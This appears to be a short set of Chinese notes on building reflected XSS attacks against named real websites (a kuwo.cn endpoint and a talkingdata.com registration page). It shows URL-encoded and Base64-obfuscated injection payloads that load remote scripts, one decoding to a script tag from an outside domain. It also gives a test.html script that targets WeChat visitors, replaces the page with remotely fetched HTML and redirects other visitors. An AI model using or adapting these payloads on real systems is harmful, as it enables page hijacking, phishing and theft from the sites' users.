## **url编码解码**,又叫百分号编码 ``` http://bttv.kuwo.cn/US/pf/BindWeibo?fans=%27%29%3BsetTimeout%28atob%28%27ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jYWxob3N0L3Rlc3QuaHRtbCc7%27%29%2C0%29%3B//%26money%3D47.81 http://bttv.kuwo.cn/US/pf/BindWeibo?fans=');setTimeout(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jYWxob3N0L3Rlc3QuaHRtbCc7'),0);//&money=47.81 ``` ## Base64编码,解码 ``` ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jYWxob3N0L3Rlc3QuaHRtbCc7 document.body.innerHTML = '';document.head.appendChild(document.createElement('script')).src='//localhost/test.html'; ``` - test.html ``` define = null; require = null; var ua = navigator.userAgent.toLowerCase(); if (/micromessenger/.test(ua)) { var app = document.createElement('div'); app.setAttribute('style', 'line-height: 1.6;font-family: -apple-system-font, "Helvetica Neue", sans-serif;'); app.innerHTML = '<div style="font-weight: 300;text-align: center">loading...</div>'; if (document.body) document.body.appendChild(app); document.title = "正在打开..."; var xhr = new XMLHttpRequest; var html = null; function getParam(name, url) { var r = new RegExp('(\?|#|&)' + name + '=(.*?)(#|&|$)'); var m = (url || location.href).match(r); return (m ? m[2] : '') } function render() { var a = document.open("text/html", "replace"); a.write(html); a.close() } xhr.onload = function() { html = xhr.responseText; var delay = 0; if (delay > 0) setTimeout("render()", delay * 1000); else render() }; xhr.open("GET", "<? echo $url?>" + Date.now(), !0); xhr.send(); } else { window.location.replace("https://www.qq.com"); } ``` - 几种反射的方式 ``` http://bttv.kuwo.cn/US/pf/BindWeibo?fans=');setTimeout(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jYWxob3N0L3Rlc3QuaHRtbCc7'),0);//&money=47.81 https://account.talkingdata.com/regist.jsp?backurl=weixun';document['write'](atob('PHNjcmlwdC9zcmM9Ly9idXBhbGEuY24vZD48L3NjcmlwdD4='));// ```